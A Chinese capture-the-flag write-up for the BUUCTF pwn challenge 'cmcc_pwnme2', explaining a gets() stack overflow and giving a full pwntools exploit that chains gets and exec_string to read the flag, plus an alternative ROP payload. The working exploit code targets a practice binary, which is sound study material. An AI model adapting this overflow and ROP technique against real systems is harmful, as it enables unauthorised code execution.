[BUUCTF]PWN——cmcc_pwnme2

cmcc_pwnme2

附件

步骤:

  1. 例行检查,32位,开启了nx保护
    在这里插入图片描述
  2. 本地运行一下看看大概的情况
    在这里插入图片描述
  3. 32位ida载入
    main(),10行的gets存在溢出
    [BUUCTF]PWN——cmcc_pwnme2_第1张图片
    userfunction()
    [BUUCTF]PWN——cmcc_pwnme2_第2张图片
    main函数里就这么多东西,看看左边的函数列表,发现了挺有意思的几个函数
    exec_string()
    [BUUCTF]PWN——cmcc_pwnme2_第3张图片
    add_home()
    [BUUCTF]PWN——cmcc_pwnme2_第4张图片
    add_flag()
    [BUUCTF]PWN——cmcc_pwnme2_第5张图片
  4. 由于exec_string()函数的存在,所以想到的是利用它来读取出flag,add_home()和add_flag()应该是这题比赛时候的目录,根据之前在buu上做题的经验来说,buu的flag一般都在根目录底下,所以这题就直接利用gets的溢出,将栈的返回地址覆盖成gets,在执行完gets后的ret写上exec_string()的地址,然后传入gets参数的地址&string,之后我们手动输入‘flag’字符串,这样就读出了flag
payload='a'*(0x6c+4)+p32(gets)+p32(exec_string)+p32(string)

完整exp:

from pwn import *

p = remote('node3.buuoj.cn',25200)
elf=ELF('./pwnme2')

exec_string=0x080485cb
string=0x0804a060
gets=elf.sym['gets']

p.recvuntil('Please input:\n')

payload='a'*(0x6c+4)+p32(gets)+p32(exec_string)+p32(string)

p.sendline(payload)
p.sendline('flag')
p.interactive()

在这里插入图片描述

比赛的话应该是利用add_home()和add_flag()去拼接一下flag的目录然后读取出来,应该是这样构造payload

payload=‘a’*(0x6c+4)+p32(add_home)+p32(pop_ebx)+p32(0xDEADBEEF)+p32(add_flag)+p32(pop_2个寄存器)+p32(0xCAFEBABE)+p32(0xABADF00D)+p32(exec_string)

你可能感兴趣的:(BUUCTF刷题记录,PWN)